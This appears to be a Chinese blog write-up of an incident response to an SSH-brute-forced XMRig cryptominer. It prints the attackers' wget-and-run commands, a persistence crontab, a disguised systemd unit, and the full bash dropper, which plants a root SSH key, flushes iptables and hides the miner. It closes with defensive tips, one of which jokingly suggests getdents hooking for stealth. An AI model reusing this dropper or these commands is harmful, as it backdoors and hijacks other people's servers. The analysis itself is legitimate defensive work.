lpz       9845     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      10361     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      10628     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      11418     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      12349     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13160     1  0 5月15 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http://transfer.sh/GgVQs/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13462     1  0 16:10 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      13633     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/.5p4rk3l5 installed on Mon May  3 14:22:22 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@daily /var/tmp/./.b4nd1d0
@reboot /var/tmp/./.black > /dev/null 2>&1 & disown
* * * * * /var/tmp/./.black > /dev/null 2>&1 & disown
@monthly /var/tmp/./.black  > /dev/null 2>&1 & disown

find -print0|xargs -0  strings |grep "/usr/lib64/sa"

1. 通过父进程pid是1我们可以推测程序利用了 systemd重启恶意程序。
2. 通过程序无限重启我们可以推测service的配置文件里面写了Restart=always这个重启策略。

systemctl list-unit-files|grep enabled

cat /usr/lib/systemd/system/pmapx_start_2.service

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See resolved.conf(5) for details
[Unit]
Description=System function loader.
[Service]
Type=forking
GuessMainPID=no
Restart=always
RestartSec=10
ExecStart=-/usr/sbin/route_forbidden-close
[Install]
WantedBy=multi-user.target

systemctl disable pmapx_start_2
systemctl stop pmapx_start_2

分析恶意文件

#!/bin/bash### Functii / Variabile ###random_name="$(openssl rand -hex 5)"locatie_miner_default="/usr/sbin/rmt_remount-open"locatie_pid="/usr/local/share/.logfile"sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"########################################################if [ -f /usr/sbin/lib23fr ]; then static=/usr/sbin/lib23frelse static=cp fi if [ -f /usr/sbin/chattr_bakv2 ]; then static2=/usr/sbin/chattr_bakv2else static2=chattrfi if [ -f /usr/sbin/lodosir ]; then static3=/usr/sbin/lodosirelse static3=rm fi########################################################permisiuni_logs(){
	$static2 -i -a -j -t -d -u /usr	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr/local	$static2 -i -a -j -t -d -u /usr/local/share	$static2 -i -a -j -t -d -u $locatie_pid
	chmod +x $locatie_pid}######sshkeyset() {
	if [ $(id -u) = 0 ]; then if [ -f "/root/.ssh/authorized_keys" ]; then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then
				$static2 -i -a -j -t -d -u /root ; $static2 -i -a -j -t -d -u /root/.ssh ; $static2 -i -a -j -t -d -u /root/.ssh/authorized_keys				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			else
				:			fi else if [ -d "/root/.ssh" ]; then
				$static2 -i -a -j -t -d -u /root/.ssh				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			else
				$static2 -i -a -j -t -d -u /root				mkdir "/root/.ssh" 
				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			fi fi fi}######scoatem_ports(){
	iptables -F ; iptables --flush ; echo "nameserver 8.8.8.8"> /etc/resolv.conf}######kulkat() {
	if [ -f /usr/bin/config.json ]; then
		$static2 -i -a -j -t -d -u /usr/bin/config.json		rm -rf /usr/bin/config.json	fi}######functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name}######### End of Functii / Varibile ##### aici incepe tot codu cicapermisiuni_logs
sshkeyset
scoatem_ports
kulkat
functie_on

functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name}

1. 两天时间溯源两台机器，甚至有点好玩，无聊的研究生活里面的一点乐趣了（打乒乓球、羽毛球、恰火锅也很快乐） :)
2. 溯源的时候千万不要把攻击者钱包的地址改成自己的然后就不管了，这样攻击者的程序会自动在内网扩散然后上千个CPU帮你挖 xmr ，还有可能吃国家饭 :)
3. 不要把 ssh 映射到公网了，虽然你的口令可能比较强，但是其他用户可能是弱口令
4. 不要用弱口令， root:123456这类口令基本是白给的
5. 不只是 ssh 容易被攻击， redis 未授权，java框架的各种反序列化分分钟 getshell
6. 挖矿木马已经是极其文明讲理的木马了，如果对方是勒索软件、APT攻击者，那么后果就严重了　:)
7. 建议攻击者下次还是劫持 getdents 这类系统调用来隐藏自己，直接删除自己这个技术含量不太高，PS一下子就看到了
8. fa les duo ma laki

如有侵权，请联系删除

好文推荐